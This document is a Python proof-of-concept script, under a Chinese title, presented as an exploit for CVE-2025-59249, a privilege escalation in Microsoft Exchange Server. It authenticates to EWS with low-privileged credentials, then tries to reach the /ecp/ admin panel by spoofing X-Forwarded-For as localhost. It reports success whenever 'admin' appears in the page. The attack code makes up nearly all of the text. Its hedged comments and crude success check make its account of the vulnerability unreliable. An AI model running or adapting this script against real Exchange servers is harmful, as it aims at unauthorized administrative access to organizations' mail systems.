CVE-2025-59249：Microsoft Exchange Server 弱认证权限提升漏洞

# CVE-2025-59249 - Microsoft Exchange Server Weak Authentication Privilege Escalation PoC # WARNING: This PoC is for educational and authorized testing purposes only. # Unauthorized use of this code against systems you do not own or have explicit # permission to test is illegal and unethical. import requests import base64 import json from urllib.parse import urljoin class ExchangeExploit: """ PoC for CVE-2025-59249: Weak Authentication in Microsoft Exchange Server allowing privilege escalation from low-privileged user to higher privileges. """ def __init__(self, target_url, username, password, domain): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.domain = domain self.session = requests.Session() self.session.verify = False # Suppress SSL warnings import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def authenticate(self): """Step 1: Authenticate with low-privileged credentials""" print(f"[*] Authenticating as low-privileged user: {self.username}") # Exchange EWS endpoint for authentication ews_url = urljoin(self.target_url, '/EWS/Exchange.asmx') # Basic auth header with low-privileged credentials credentials = f"{self.domain}\\{self.username}:{self.password}" encoded_creds = base64.b64encode(credentials.encode()).decode() self.session.headers.update({ 'Authorization': f'Basic {encoded_creds}', 'Content-Type': 'text/xml; charset=utf-8', }) # Verify authentication response = self.session.get(ews_url) if response.status_code == 401: print("[-] Authentication failed. Check credentials.") return False print("[+] Authentication successful with low privileges.") return True def exploit_weak_auth(self): """Step 2: Exploit weak authentication to escalate privileges""" print("[*] Attempting privilege escalation via weak authentication...") # Exploit endpoint - manipulate authentication context # The weak authentication mechanism may allow token manipulation admin_endpoint = urljoin(self.target_url, '/ecp/') # Attempt to access admin panel with escalated context # This exploits the weak authentication check exploit_headers = { 'X-Requested-With': 'XMLHttpRequest', 'X-Ecp-Cookie': self.session.cookies.get('X-Ecp-Cookie', ''), # Attempt to inject elevated privileges via manipulated auth token 'X-Forwarded-For': '127.0.0.1', } response = self.session.get(admin_endpoint, headers=exploit_headers) if response.status_code == 200 and 'admin' in response.text.lower(): print("[+] PRIVILEGE ESCALATION SUCCESSFUL!") print("[+] Admin panel access obtained.") return True else: print("[-] Privilege escalation attempt failed.") return False def run(self): """Execute the full exploit chain""" print("=" * 60) print("CVE-2025-59249 - Exchange Server Privilege Escalation PoC") print("=" * 60) if not self.authenticate(): return False if self.exploit_weak_auth(): print("[+] Exploit completed successfully!") return True return False if __name__ == "__main__": # Configuration - replace with target details TARGET = "https://exchange.target.com" USERNAME = "lowpriv_user" PASSWORD = "password123" DOMAIN = "TARGET" exploit = ExchangeExploit(TARGET, USERNAME, PASSWORD, DOMAIN) exploit.run()